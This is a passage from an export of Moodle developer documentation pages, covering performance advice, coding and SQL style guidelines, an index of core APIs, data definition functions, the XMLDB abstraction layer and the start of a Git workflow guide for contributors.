* Instead use JOINs and subqueries. (<tt>get_records_sql</tt>, <tt>get_recordset_sql</tt>, etc.).
** Or look for a Moodle API function that gets the information you want as efficiently as possible. (For example, <tt>get_users_by_capability</tt>)
** See the [[Database|Database guidelines]] for how to write SQL that will work on all our supported databases.

===Limit the amount of RAM each page requires to generate===

* Large reports should be broken into pages of a fixed size.
* Processing large amounts of data from the database should be handled with a recordset (when you cannot do all the processing in the database with SQL) and using [https://github.com/moodle/moodle/blob/master/lib/classes/dml/recordset_walk.php recordset_walk iterator], as there is no RAM benefit on using recordsets if you load all the results in a massive PHP array.

===Be cautious about other external calls===

Like a database query, there are other operations that are much slower than just executing PHP code. For example:
* running a shell script
* making a web-service call
* (to a lesser extent) working with files.
Whenever you are doing these things, worry about performance.

==How to improve the performance of your code==

===Measure during development===

* Turn on [[:en:Debugging#Performance_info|display of performance information]] (including counting database queries), so you are aware of what your code is doing.

* Use tools like [http://jakarta.apache.org/jmeter/ JMeter] to subject your new code to load.

* Use https://github.com/moodlehq/moodle-performance-comparison (Moodle 2.5 onwards) to compare performance. You can also use the [[Test site generator]] or [[Test course generator]] generators (also Moodle 2.5 onwards).

===Measure in production===

* If you're using postgres, there's a script that can parse the logs and output the top 10 slow queries, ready to be plugged into a cronjob to email you every day. It can be found here:

http://git.catalyst.net.nz/gw?p=pgtools.git;a=blob_plain;f=scripts/pg-log-process.pl;hb=refs/heads/pg-log-process-multidb

You need to configure postgres a bit to make it log things in the correct format. Instructions are in the file.

==How big can a Moodle site be?==

Looking at the [http://moodle.org/stats/ statistics], the largest sites in the world currently have
* Up to 1 000 000 users
* Up to 50 000 courses
* Up to 5 000 users per course
* Up to 50 roles
* Up to 100 course categories nested up to about 10 levels deep.
* Up to XXX activities in a course.
* Please add more things here.

When planning and testing your code, these are the sorts of numbers you should be contemplating. However, do not assume that Moodle sites will never get bigger than this.

Even if you can't test sites this big on your development server, you should use the generator script so you can test your code in a Moodle site that is not tiny.

==See also==

* [[Coding|Moodle coding guidelines]]
* [[Performance]] guidance for administrators
* [[Performance FAQ]]

[[Category:Coding guidelines|Performance]]

[[ja:パフォーマンスおよびスケーラビリティ]]

Coding

2022-01-29T15:03:53Z

Mits:

This page is the top-level page describing Moodle's coding guidelines. It's the place to start if you want to know how to write code for Moodle.

==Moodle architecture==

Moodle tries to run on the widest possible range of platforms, for the widest possible number of people, while remaining easy to install, use, upgrade and integrate with other systems.

For more about this, see [[Moodle architecture]].

==Plugins==

Moodle has a general philosophy of modularity. There are nearly 30 different standard types of plugins and even more sub-plugin types, however all of these plugin types work the same way. Blocks and activities are the only small exceptions.

See [[Plugins|Moodle plugins]] and [[Subplugins|Moodle sub-plugins]] for more information.

==Coding style==

Consistent [[Coding style|coding style]] is important in any development project, and particularly so when many developers are involved. A standard style helps to ensure that the code is easier to read and understand, which helps overall quality.

Writing your code in this way is an important step to having your code accepted by the Moodle community.

Our [[Coding_style|Moodle coding style]] document explains this standard.

==Security==

Security is about protecting the interests and data of all our users. Moodle may not be banking software, but it is still protecting a lot of sensitive and important data such as private discussions and grades from outside eyes (or student hackers!) as well as protecting our users from spammers and other internet predators.

It's also a script running on people's servers, so Moodle needs to be a responsible Internet citizen and not introduce vulnerabilities that could allow crackers to gain unlawful access to the server it runs on.

Any single script (in Moodle core or a third party module) can introduce a vulnerability to thousands of sites, so it's important that all developers strictly follow our [[Security|Moodle security guidelines]].

==XHTML and CSS==

It's important that Moodle produces strict, well-formed [http://en.wikipedia.org/wiki/HTML5 HTML 5] code (preferably backwards compatible with [[XHTML|XHTML 1.1]] if possible), compliant with all common accessibility guidelines (such as [http://www.w3.org/TR/WCAG20/ W3C WAG 2.0], [http://www.w3.org/TR/wai-aria-practices/ ARIA]).

CSS should be used for layout. Moodle comes with several themes installed. Beginning with version 2.7, only the 'Clean' theme comes in the base Moodle code. The 'standard' theme, which should be a plain theme suitable to act as a building block for other themes. That should contain the minimal styling to make Moodle look OK and be functional. Then Moodle comes with several other default themes that look good and demonstrate various techniques for building themes.

This helps consistency across browsers in a nicely-degrading way (especially those using non-visual or mobile browsers), as well as improving life for theme designers.

==JavaScript==

New Javscript in Moodle should be written as Vanilla javascript in the ES6 style. The use of jQuery, YUI, and other frameworks is strongly discouraged and will not be accepted into core except when dealing with legacy interfaces which require the use of those objects.

In general code should be written to avoid displaying interfaces which are removed, or adding new interfaces as the page loads.

All Javascript must be accessible.

==Internationalisation==

Moodle works in over 84 languages because we pay great attention to keeping the language strings and locale information separate from the code, in language packs.

The default language for all code, comments and documentation, however, is English (AU).

Full details: [[String API]]

==Accessibility==

Moodle should work well for the widest possible range of people.

See [[Accessibility|Moodle Accessibility]] for more information.

==Usability==

See [[Interface_guidelines| Interface Guidelines]] (under construction)

==Performance==

The load any Moodle site can cope with will, of course, depend on the server and network hardware that it is running on. However there are some features (intended especially for developers) that are discouraged on production sites for performance reasons.

The most important property is scalability, so a small increase in the number of users, courses, activities in a course, and so on, only causes a correspondingly small increase in server load.

For more information and advice, see [[Performance and scalability|Performance and scalability]].

==Database==

Moodle has a powerful database abstraction layer that we wrote ourselves, called [[XMLDB_Documentation|XMLDB]]. This lets the same Moodle code work on MySQL/MariaDB, PostgreSQL, MS SQL Server and Oracle. There are know issues when using Oracle, it is not fully supported and is not recommended for production sites.

We have tools and API for [[DDL functions|defining and modifying tables]] as well as [[Data manipulation API|methods for getting data in and out]] of the database.

Overview: [[Database|Moodle Database]] guidelines

==Events==

Moodle allows inter-module communication via '''events'''. Modules can '''trigger''' specific events and other modules can choose to '''handle/observe''' those events.

See:
* [[Events API]] - Since Moodle 2.6 - in particular, note the [[Events_API#Events_naming_convention|Events naming convention]].

==Web services==

Should be implemented according to [[Web service API functions]] and [[How to contribute a web service function to core]], including the [[Web_service_API_functions#Naming_convention|Naming convention]].

==Manual testing==

All issues integrated into the core codebase are tested both during Integration, and subsequently by our testing team. While much of this testing is automated, there are many parts which cannot be automated, and manual testing is required.

Moodle has guidelines on [[Testing_instructions_guide|how to write clear testing instructions]] which we recommend you read and follow.

==Unit testing==

[http://en.wikipedia.org/wiki/Unit_testing Unit testing] is not simply a technique but a philosophy of software development.

The idea is to create automatable tests for each bit of functionality that you are developing (at the same time you are developing it). This not only helps everyone later test that the software works, but helps the development itself, because it forces you to work in a modular way with very clearly defined structures and goals.

Moodle uses a framework called [https://github.com/sebastianbergmann/phpunit/ PHPUnit] that makes writing unit tests fairly simple.

See [[PHPUnit]] for more information.

==Acceptance testing==

PHPUnit covers mostly the internal implementation of functions and classes, the user interaction testing can be automated using the [http://behat.org Behat framework].

See [[Acceptance testing]] for more information.

==Third Party Libraries==
Moodle has a standard way to include third party libraries in your code. See https://docs.moodle.org/dev/Third_Party_Libraries

== Other standards ==

Please note that Moodle coding style and design is pretty unique, it is not compatible with [http://pear.php.net/manual/en/standards.php PEAR coding standards] or any other common PHP standards.

[[ja:開発:コーディング]]

SQL coding style

2021-02-21T07:30:18Z

Mits: ja link

This page describes recommended coding style for complex database queries.

Full SQL queries are used in $DB->get_records_sql(), $DB->get_recordset_sql() or $DB->execute(). SQL fragments may be used in DML method with _select() suffix.

== General rules==
* Use parameter placeholders!
* All SQL keywords are in UPPER CASE.
* All SQL queries and fragments should be enclosed in double quotes.
* Complex SQL queries should be on multiple lines.
* Multiline SQL queries should be right aligned on SELECT, FROM, JOIN, WHERE, GROUPY BY and HAVING.
* Use JOIN instead of INNER JOIN.
* Do not use right joins.
* Always use AS keyword for column aliases.
* Never use AS keyword for table aliases.
* Use <> for comparing if values are not equals and do not use !=

==Double quotes==

All sql queries and fragments should be enclosed in double quotes, do not concat SQL from multiple parts if possible. The single quotes are used for sql strings, it also helps with visual highlighting and SQL code completion in some IDEs.

<code php>
$records = $DB->get_records_select('some_table', "id > ?", array(111));
</code>

==Parameter placeholders==

All variable query parameters must be specified via placeholders. It is possible to use three different types of placeholders: :named, ? and $1. It is recommended to use named parameters if there is more than one parameter.

<code php>
$sql = "SELECT *
FROM {some_table}
WHERE id > :above";
$records = $DB->get_records_sql($sql, array('above'=>111));
</code>

==Indentation==

[[File:sql_indentation.png]]

==Subqueries==

There are no strict rules for subquery indentation, the deciding factor is good readability - see MDLSITE-1914.

==See also==

* [[Data manipulation API]]
* [[Database]]
* [[Coding style]]

[[Category:Coding guidelines|Coding style]]
[[Category:XMLDB]]
[[Category:DB]]

[[ja:SQLコーディングスタイル]]

Core APIs

2020-12-28T15:02:49Z

Mits: ja link

Moodle has a number of core APIs that provide tools for Moodle scripts.

They are essential when writing [[Plugins|Moodle plugins]].

==Most-used General APIs==

These APIs are critical and will be used by nearly every Moodle plugin.

=== Access API (access) ===

The [[Access API]] gives you functions so you can determine what the current user is allowed to do, and it allows modules to extend Moodle with new capabilities.

=== Data manipulation API (dml) ===

The [[Data manipulation API]] allows you to read/write to databases in a consistent and safe way.

=== File API (files) ===

The [[File API]] controls the storage of files in connection to various plugins.

=== Form API (form) ===

The [[Form API]] defines and handles user data via web forms.

=== Logging API (log) ===

The [[Events API]] allows you to log events in Moodle, while [[Logging 2]] describes how logs are stored and retrieved.

=== Navigation API (navigation) ===

The [[Navigation API]] allows you to manipulate the navigation tree to add and remove items as you wish.

=== Page API (page) ===

The [[Page API]] is used to set up the current page, add JavaScript, and configure how things will be displayed to the user.

=== Output API (output) ===

The [[Output API]] is used to render the HTML for all parts of the page.

=== String API (string) ===

The [[String API]] is how you get language text strings to use in the user interface. It handles any language translations that might be available.

=== Upgrade API (upgrade) ===

The [[Upgrade API]] is how your module installs and upgrades itself, by keeping track of its own version.

=== Moodlelib API (core) ===

The [[Moodlelib API]] is the central library file of miscellaneous general-purpose Moodle functions. Functions can over the handling of request parameters, configs, user preferences, time, login, mnet, plugins, strings and others. There are plenty of defined constants too.

==Other General APIs==

=== Admin settings API (admin) ===

The [[Admin settings]] API deals with providing configuration options for each plugin and Moodle core.

=== Analytics API (analytics) ===

The [[Analytics API]] allow you to create prediction models and generate insights.

=== Availability API (availability) ===

The [[Availability API]] controls access to activities and sections.

=== Backup API (backup) ===

The [[Backup API]] defines exactly how to convert course data into XML for backup purposes, and the [[Restore API]] describes how to convert it back the other way.

=== Cache API (cache) ===

The [[The Moodle Universal Cache (MUC)]] is the structure for storing cache data within Moodle. [[Cache_API]] explains some of what is needed to use a cache in your code.

=== Calendar API (calendar) ===

The [[Calendar API]] allows you to add and modify events in the calendar for user, groups, courses, or the whole site.

=== Check API (check) ===

The [[Check API]] allows you to add security, performance or health checks to your site.

=== Comment API (comment) ===

The [[Comment API]] allows you to save and retrieve user comments, so that you can easily add commenting to any of your code.

=== Competency API (competency) ===

The [[Competency API]] allows you to list and add evidence of competencies to learning plans, learning plan templates, frameworks, courses and activities.

=== Data definition API (ddl) ===

The [[Data definition API]] is what you use to create, change and delete tables and fields in the database during upgrades.

=== Editor API ===

The [[Editor API]] is used to control HTML text editors.

=== Enrolment API (enrol) ===

The [[Enrolment API]] deals with course participants.

=== Events API (event) ===

The [[Events API]] allows to define "events" with payload data to be fired whenever you like, and it also allows you to define handlers to react to these events when they happen. This is the recommended form of inter-plugin communication. This also forms the basis for logging in Moodle.

=== Experience API (xAPI) ===

The Experience API (xAPI) is an e-learning standard that allows learning content and learning systems to speak to each other. The [[Experience API (xAPI)]]
allows any plugin to generate and handle xAPI standard statements.

=== External functions API (external) ===

The [[External functions API]] allows you to create fully parametrised methods that can be accessed by external programs (such as [[Web services]]).

=== Favourites API ===

The [[Favourites API]] allows you to mark items as favourites for a user and manage these favourites. This is often referred to as 'Starred'.

=== Lock API (lock) ===

The [[Lock API]] lets you synchronise processing between multiple requests, even for separate nodes in a cluster.

=== Message API (message) ===

The [[Message API]] lets you post messages to users. They decide how they want to receive them.

=== Media API (media) ===

The [[Media_players#Using_media_players|Media]] API can be used to embed media items such as audio, video, and Flash.

=== My profile API ===

The [[My profile API]] is used to add things to the profile page.

=== OAuth 2 API (oauth2) ===

The [[OAuth 2 API]] is used to provide a common place to configure and manage external systems using OAuth 2.

=== Payment API (payment) ===

The [[Payment API]] deals with payments.

=== Preference API (preference) ===

The [[Preference API]] is a simple way to store and retrieve preferences for individual users.

=== Portfolio API (portfolio) ===

The [[Portfolio API]] allows you to add portfolio interfaces on your pages and allows users to package up data to send to their portfolios.

=== Privacy API (privacy) ===

The [[Privacy API]] allows you to describe the personal data that you store, and provides the means for that data to be discovered, exported, and deleted on a per-user basis.
This allows compliance with regulation such as the General Data Protection Regulation (GDPR) in Europe.

=== Rating API (rating) ===

The [[Rating API]] lets you create AJAX rating interfaces so that users can rate items in your plugin. In an activity module, you may choose to aggregate ratings to form grades.

=== RSS API (rss) ===

The [[RSS API]] allows you to create secure RSS feeds of data in your module.

=== Search API (search) ===

The [[Search API]] allows you to index contents in a search engine and query the search engine for results.

=== Tag API (tag) ===

The [[Tag API]] allows you to store tags (and a tag cloud) to items in your module.

=== Task API (task) ===

The [[Task API]] lets you run jobs in the background. Either once off, or on a regular schedule.

=== Time API (time) ===

The [[Time API]] takes care of translating and displaying times between users in the site.

=== Testing API (test) ===

The testing API contains the Unit test API ([[PHPUnit]]) and Acceptance test API ([[Acceptance testing]]). Ideally all new code should have unit tests written FIRST.

=== User-related APIs (user) ===

This is a rather informal grouping of miscellaneous [[User-related APIs]] relating to sorting and searching lists of users.

=== Web services API (webservice) ===

The [[Web services API]] allows you to expose particular functions (usually external functions) as web services.

=== Badges API (badges) ===

The [https://docs.moodle.org/dev/OpenBadges_User_Documentation Badges] user documentation (is a temp page until we compile a proper page with all the classes and APIs that allows you to manage particular badges and OpenBadges Backpack).

=== Custom fields API ===

The [[Custom fields API]] allows you to configure and add custom fields for different entities

== Activity module APIs ==

Activity modules are the most important plugin in Moodle. There are several core APIs that service only Activity modules.

=== Activity completion API (completion) ===

The [[Activity completion API]] is to indicate to the system how activities are completed.

=== Advanced grading API (grading) ===

The [[Advanced grading API]] allows you to add more advanced grading interfaces (such as rubrics) that can produce simple grades for the gradebook.

=== Conditional activities API (condition) - deprecated in 2.7 ===

The deprecated [[Conditional activities API]] used to provide conditional access to modules and sections in Moodle 2.6 and below. It has been replaced by the [[Availability API]].

=== Groups API (group) ===

The [[Groups API]] allows you to check the current activity group mode and set the current group.

=== Gradebook API (grade) ===

The [[Gradebook API]] allows you to read and write from the gradebook. It also allows you to provide an interface for detailed grading information.

=== Plagiarism API (plagiarism) ===

The [[Plagiarism API]] allows your activity module to send files and data to external services to have them checked for plagiarism.

=== Question API (question) ===

The [[Question API]] (which can be divided into the Question bank API and the Question engine API), can be used by activities that want to use questions from the question bank.

== See also ==

* [[Plugins]] - plugin types also have their own APIs
* [[Callbacks]] - list of all callbacks in Moodle
* [[Coding style]] - general information about writing PHP code for Moodle

[[ja:コアAPI]]

Data definition API

2020-10-07T15:03:49Z

Mits: ja link

{{Moodle_2.0}}In this page you'll access to the available functions under Moodle to be able to handle DB structures (tables, fields, indexes...).

The objective is to have a well-defined group of functions able to handle all the DB structure (DDL statements) using one neutral description, being able to execute the correct SQL statements required by each RDBMS. All these functions are used '''[[Installing and upgrading plugin database tables|exclusively by the installation and upgrade processes]]'''.

In this page you'll see a complete list of such functions, with some explanations, tricks and examples of their use. If you are interested, it's also highly recommendable to take a look to the [[DML functions|DML functions page]] where everything about how to handle DB data (select, insert, update, delete i.e. DML statements) is defined.

Of course, feel free to clarify, complete and add more info to all this documentation. It will be welcome, absolutely!

==Main info==

'''Important note:''' All the functions showed in this page are for use in '''Moodle 2.0 upwards''', where we changed the [[DB layer 2.0|DB layer]] to support some new features. If you need information for previous Moodle version, take a look to the [[DDL functions - pre 2.0|DDL functions - pre 2.0]] page. For a detailed reference of changes, see the [[DB layer 2.0 migration docs|migration docs]].

* All the function calls in this page are public methods of the '''database manager''', accessible from the $DB global object. So you'll need to "import" it within your '''upgrade.php''' main function with something like:

<code php>
function xmldb_xxxx_upgrade {

global $DB;

$dbman = $DB->get_manager(); // loads ddl manager and xmldb classes

/// Your upgrade code goes here
}

</code>

* Once more, the use of these functions is '''restricted''' to the upgrade processes and it shouldn't be used ever out from there.
* All the $table, $field, $index parameters are, always, XMLDB objects. Don't forget to read carefully the complete documentation about [[XMLDB creating new DDL functions|creating new DDL functions]] before playing with these functions. Everything is explained there, with one general example and some really useful tricks to improve the use of all the functions detailed below.
* If you want real examples of the usage of these functions it's 100% interesting to examine the '''upgrade.php''' scripts that are responsible for Moodle upgrading since the 1.7 release.
* Also, it's a '''very good idea''' (highly recommended!) to use the [[XMLDB editor|XMLDB Editor]] itself to generate automatically the desired PHP code. Just play with it!

==The functions==

===Handling tables===
<code php>
/// To detect if one table exists:
$dbman->table_exists($table)

/// To create one table:
$dbman->create_table($table, $continue=true, $feedback=true)

/// To drop one table:
$dbman->drop_table($table, $continue=true, $feedback=true)

/// To rename one table:
$dbman->rename_table($table, $newname, $continue=true, $feedback=true)
</code>

===Handling fields===
<code php>
/// To detect if one field exists:
$dbman->field_exists($table, $field)

/// To create one field:
$dbman->add_field($table, $field, $continue=true, $feedback=true)

/// To drop one field:
$dbman->drop_field($table, $field, $continue=true, $feedback=true)

/// To change the type of one field:
$dbman->change_field_type($table, $field, $continue=true, $feedback=true)

/// To change the precision of one field:
$dbman->change_field_precision($table, $field, $continue=true, $feedback=true)

/// To change the signed/unsigned status of one field:
$dbman->change_field_unsigned($table, $field, $continue=true, $feedback=true)

/// To make one field nullable or not:
$dbman->change_field_notnull($table, $field, $continue=true, $feedback=true)

/// To drop one enum (check constraint) from one field:
/// (note this function will be only available in Moodle 2.0 as it's needed
/// to drop any enum existing in previous Moodle releases). Will be out in Moodle 2.1
$dbman->drop_enum_from_field($table, $field, $continue=true, $feedback=true)

/// To change the default value of one field:
$dbman->change_field_default($table, $field, $continue=true, $feedback=true)

/// To rename one field:
$dbman->rename_field($table, $field, $newname, $continue=true, $feedback=true)
</code>

===Handling indexes===
<code php>
/// To detect if one index exists:
$dbman->index_exists($table, $index)

/// To return the name of one index in DB:
$dbman->find_index_name($table, $index)

/// To add one index:
$dbman->add_index($table, $index, $continue=true, $feedback=true)

/// To drop one index:
$dbman->drop_index($table, $index, $continue=true, $feedback=true)
</code>

==Some considerations==
# All the $table, $field, $index parameters are, always, XMLDB objects.
# All the $newtablename, $newfieldname parameters are, always, simple strings.
# All the ***_exists() functions return boolean true/false.
# Any problem in the execution of the functions will throw one Exception and the upgrade process will die.
# It's recommendable to use the [[XMLDB editor|XMLDB Editor]] to generate the PHP code automatically (did I say this before? :-P )

==See also==

* [[Core APIs]]
* [[XMLDB Documentation|XMLDB Documentation]]: Main page of the whole XMLDB documentation, where all the process is defined and all the related information resides.
* [[XMLDB Defining one XML structure]]: Where you will know a bit more about the underlying XML structure used to define the DB objects, that is used continuously by the functions described in this page.
* [[Installing and upgrading plugin database tables|Installing and upgrading plugin DB tables]]
* [[DML functions|DML functions]]: Where all the functions used to handle DB data ([[wikipedia:Data_Manipulation_Language|DML]]) are defined.
* [[DDL functions - pre 2.0|DDL functions - pre 2.0]]: '''(deprecated!)''' For information valid before Moodle 2.0.
* [[DB layer 2.0 migration docs|DB layer 2.0 migration docs]]: Information about how to modify your code to work with the new Moodle 2.0 DB layer.
* [[DTL functions|DTL functions]]: Exporting, importing and moving of data stored in sql databases

[[Category:DB]]
[[Category:XMLDB]]
[[Category:API]]

[[ja:データ定義API]]

XMLDB introduction

2020-08-17T11:37:10Z

Mits: ja link

[[XMLDB Documentation|XMLDB Documentation]] > Introduction
----
__NOTOC__
One of the main upcoming features in Moodle 1.7 was its ability to work with some more [[wikipedia:RDBMS|RDBMS]] ([[wikipedia:MSSQL|MSSQL]] and [[wikipedia:Oracle database|Oracle]]) while maintaining everything working properly with both [[MySQL]] and [[PostgreSQL]]. As Moodle core uses [http://adodb.sourceforge.net/ ADOdb] internally, this possibility has been present since the beginning and, with the current maturity of the project (5 year old baby!), this can be a good moment to sort all this out.

Initially, all our tests and preliminary work was to inspect how [http://adodb.sourceforge.net/ ADOdb] was doing its work, and how we could mix together all those 4 RDBMS, whose SQL dialects, although pretty similar, have some differences and idiosyncrasies that force us to do some important changes to our current database code (formerly '''datalib.php''') and how it's used by the rest of Moodle.

All the changes to be performed, which primary objective is to enable Moodle to work with more RDBMS, must be fulfilled by following these non-functional requirements:

* '''Provide one layer (new) for DB creation/upgrade''' ([[wikipedia:Data_Definition_Language|DDL]]): With this, developers will create their structures in one neutral form, independent of the exact implementation to be used by each RDBMS.

* '''Provide one layer (existing) for DB handling''' ([[wikipedia:Data_Manipulation_Language|DML]]): With this, developers will request/store information also in one neutral form, independent of the RDBMS being used.

* '''Easy migration path from previous versions''': The current installation/upgrade system will work until, at least, Moodle 2.0, allowing 3rd party developers to migrate to the new system.

* '''Simple, usable and effective''': Until now, the way to upgrade Moodle has been really cool and it has worked pretty fine since the beginning. However, it has forced developers to maintain at least two installation and two upgrade scripts for each module/plugin. The new alternative will have only one file to install and one file to upgrade (per module/plugin too), reducing the possibility of mistakes drastically.

* '''Conditional code usage must be minimised''': Database libraries must accept 99% of potential SQL sentences, building/transforming them as necessary to work properly under any RDBMS. The number of places using custom (per DB) code should be minimum.

* '''Well documented''': All the functions defined, both at DML and DDL level must be well documented, helping the developer to find and use the correct one in each situation.

== The Stack ==

The next stack shows how Moodle 1.7 code will interact with the underlying RDBMS. It will help us understand a bit more what we are trying to do and will explain some of the points related in the Roadmap (below in this page).

[[Image:MoodleDBStack.png|center]]

Moodle code will use two ''languages'' to perform its DB actions:

* '''XMLDB neutral description files''': To create, modify and delete database objects (DDL: create/alter/drop tables, fields, indexes, constraints...). It consists of a collection of validated, standard, XML files. They will be used to define all the DB objects. New for 1.7.
* '''Moodle SQL neutral statements''': To add, modify, delete and select database information (DML: insert/update/delete/select records). To modify for 1.7.

Please note the '''neutral''' keyword used in the expressions above. It means that both '''languages''' will be 100% the same, independent of the underlying RDBMS being used. And this must be particularly true for the XMLDB part.

Obviously it's possible that in the SQL part we find some specialised queries (using complex joins, regular expressions...) that will force us to do some '''Exceptions'''. Well, they can exist (in fact, they exist), but we always must try to provide an alternate path to minimise them using neutral statements and standard libraries.

Each one of the '''languages''' above will use its own library to do the work:

* '''Moodle DDL Library''' ([[DDL functions|ddllib.php]]): Where all the functions needed to handle DB objects will exist. This library is new for 1.7 and will provide developers with a high level of abstraction. As input it will accept some well defined objects and actions and it will execute the proper commands for the RDBMS being used.
* '''Moodle DML Library''' ([[DML functions|dmllib.php]]): Where all the functions needed to handle DB contents will exist. This library is new for 1.7, although its contents are, basically, functions currently present in '''datalib.php''' (moved from there). All those DML functions will offer cross-db support for insert/update/delete/select statements using a common behaviour.

Also note that '''datalib.php''' is still present in the schema above. It will contain all the functions that haven't been moved to the new '''ddllib.php''' and '''dmllib.php''' libraries. Only some common functions will remain there, and these will disappear (it's considered a legacy library) in upcoming '''Moodle''' releases (after 1.7) by moving all those functions to their proper library (course/lib.php, user/lib.php....).

Both of these libraries (plus the small '''Exceptions''' bar) will perform all their actions using the '''ADOdb Database Abstraction Library for PHP''' that will receive all the requests from them, communicate with the DB ('''MySQL''', '''PostgreSQL''', '''Oracle''' or '''SQL*Server'''), retrieve results and forward them back to originator library.

== The process ==

This section points to the main areas of information about the '''process of design and implementation''' of the new XMLDB layer:

* [[XMLDB Roadmap|Roadmap]]: Where the whole process is defined. It has been split into small chunks to be performed and tested easily. Also, such documents should be used to track what's done and what's pending, while using easy nomenclature.

* [[XMLDB Problems|Problems]]: A comprehensive list of issues that need to be determined/solved prior to incorporating them into the [[XMLDB Roadmap|roadmap]].

== The documentation ==

This section points to the '''main documentation index''' about the implemented XMLDB:

* [[XMLDB Documentation|Documentation]]: Where you'll find quick links to different parts of the XMLDB documentation.

==See also==

=== XMLDB related ===

* [[XMLDB preliminary links|XMLDB preliminary links]] - A collection of links about general info, searched and analysed at the initial stages of the project
* [[XMLDB preliminary notes|XMLDB preliminary notes]] - A collection of notes collected in the early stages of this project, pointing both to some changes required and some problems to solve.

=== Database related ===

* [[DDL functions|DDL functions]] - Documentation for all the Data Definition Language (DDL) functions available inside Moodle.
* [[DML functions|DML functions]] - Documentation for all the Data Manipulation Language (DML) functions available inside Moodle.

[[Category:XMLDB]]

[[zh:开发:XML数据库计划]]
[[ja:XMLDBイントロダクション]]

XMLDB Documentation

2020-06-01T11:24:37Z

Mits: ja link

__NOTOC__

XMLDB is Moodle's database abstraction layer -- it is the library of code that lets Moodle interact with and access the database.

In this page you will find links to all the XMLDB-related documentation.

=== Introduction ===

* [[XMLDB introduction|Introduction]]: Where the general idea of XMLDB is explained.
* [[XMLDB roadmap|Roadmap]]: An overall view of the process of implementing the XMLDB subsystem, with details for each point of the process.
* [[XMLDB problems|Problems]]: A comprehensive list of issues that need to be determined/solved prior to incorporate them into the [[XMLDB roadmap|roadmap]].

=== Installation ===

* [[:en:Installing MSSQL for PHP|Installing MSSQL for PHP]]: One short manual about the steps needed to successfully add MSSQL support to PHP.
* [[:en:Installing Oracle for PHP|Installing Oracle for PHP]]: One short manual about the steps needed to successfully add Oracle support to PHP.
* [[:en:Installing Moodle|Installing Moodle]]: The guide to install Moodle (once you have the [[:en:Installing AMP|AMP platform]] working on your server).

=== Developing ===

* [[DDL functions|DDL functions]]: One list of the new XMLDB Data Definition functions and their usage.
* [[DML functions|DML functions]]: One list of the available Data Manipulation functions and their usage.
* [[XMLDB defining an XML structure|XMLDB Usage]]: Explanation about the XML schema basis, the [[XMLDB defining an XML structure#The XMLDB editor|XML editor]] embedded within Moodle, its [[XMLDB defining an XML structure#Conventions|naming conventions]] and one simple but illustrative [[XMLDB defining an XML structure#One example: the assignment module|example]].
* [[Installing and upgrading plugin database tables]]
* [[Coding|Coding guidelines]]: The main coding guidelines and, more exactly, the [[Database|database structures section]] that you must follow carefully in order to produce good cross-db code.
* [[Database Schema|Database schema]]: Moodle database diagrams in [http://fabforce.net/dbdesigner4/ DBDesigner4] format.

=== Bugs and new features ===

* [http://tracker.moodle.org/secure/IssueNavigator.jspa?reset=true&&type=1&pid=10011&resolution=-1&component=10131&sorter/field=issuekey&sorter/order=DESC XMLDB known bugs]
* [http://tracker.moodle.org/secure/IssueNavigator.jspa?reset=true&&type=4&type=2&type=3&type=5&pid=10011&resolution=-1&component=10131&sorter/field=issuekey&sorter/order=DESC XMLDB pending improvements and features]
* [http://moodle.org/mod/forum/view.php?id=55 Developers forum]: For general development discussions.

=== Database engine documentation ===

Here are convenient links to the reference documentation of the various database engines we support, should you need to check that something is supported by all of them:

* [http://www.postgresql.org/docs/8.4/interactive/index.html Postgres]
* [http://dev.mysql.com/doc/refman/5.0/en/index.html MySQL]
* [http://msdn.microsoft.com/en-us/library/ms189826.aspx MSSQL]
* [http://download.oracle.com/docs/cd/B14117_01/server.101/b10759/toc.htm Oracle]

=== See also ===
* [[XMLDB column types|DB column types]] - Some links about column types inside every RDBMS and their characteristics.
* [[XMLDB key and index naming|DB key and index naming]] - Some info about automatic naming of keys/indexes and other objects.
* [[XMLDB reserved words|DB reserved words]] - A collection of reserver words inside each RDBMS.

[[Category:XMLDB]]
[[Category:DB]]

[[ja:XMLデータベーススキーマ]]

Git for developers

2011-12-26T21:48:42Z

Mits: ja link

This document is for helping you get started on Moodle development with Git. For further details of Git, see [[:Category:Git]].

== General workflow ==

[[image:git-pushpull-model.png|right|thumb|400px|Moodle development workflow with Git]]
In short, the Moodle development with Git looks like this:

* You as the contributor commit changes into your personal repository at your computer
* You push the changes into your public repository and publish links to your changes in the Moodle Tracker
* You may ask for a peer review of your code from another developer (preferred but optional)
* When you are confident of your code you should submit it for integration (Integration request, also sometimes known as a pull request)
* Moodle integrators pull the changes from your public repository and if they like them, they put them into Moodle integration repository
* The integrated change is tested and finally pushed into Moodle production repository
* You update your local repository with all changes from the production repository and the next cycle may start again

This workflow runs in roughly weekly cycles. The integration happens on Monday and the testing on Tuesday. On Wednesday, the production repository moodle.git is usually updated with changes from the last development week.

Most Moodle developers have their public repositories hosted at [http://github.com/ Github]. Alternatively you may want to try [http://gitorious.org Gitorious] or the legendary [http://repo.or.cz repo.or.cz]. In the examples in this guide we assume you'll set up your public repository at Github.

== Installing Git on your computer ==

Install Git on your computer. Most Linux distributions have Git available as a package to install. If you are on Mac, [http://code.google.com/p/git-osx-installer/ git-osx-installer] installs it in few click.

Immediately after the installation, set your name and contact e-mail. The name and e-mail will become part of your commits and they can't be changed later once your commits are accepted into the Moodle code. Therefore we ask contributors to use their real names written in capital letters, eg "John Smith" and not "john smith" or even "john5677".

git config --global user.name "Your Name"
git config --global user.email yourmail@domain.tld

Unless you are the repository maintainer, it is wise to set your Git to not push changes in file permissions:

git config --global core.filemode false

== Setting-up the public repository ==

1. Go to [http://github.com/ Github] and create an account.

2. Go to the [http://github.com/moodle/moodle official Moodle Github repository] and click on the Fork button. You now have your own Github Moodle repository.

3. Now you need to set up your SSH public key, so you can push to your Github Moodle repository from your local Moodle repository. On Mac you can go on this [http://help.github.com/mac-key-setup/ Github help page]. If you are on another system, go to your Github administration page, to the section SSH Public Keys, and you should see a link to a help page. Done? Good! That was the most difficult part!

== Setting-up the local repository at your computer ==

Create a local clone repository of your Github repository. In a terminal:

git clone git@github.com:YOUR_GITHUB_USERNAME/moodle.git YOUR_LOCAL_MOODLE_FOLDER

This command does several jobs for you. It creates a new folder, initializes an empty Git repository in it, sets your Github repository as the remote repository called 'origin' and makes a local checkout of the branch 'master' from it. The important point to remember now is that your Github repository is aliased as 'origin' for your local clone.

== Keeping your public repository up-to-date ==

[[image:git-sync-github.png|right|thumb|400px|Fetching changes from upstream and pushing them to github]]
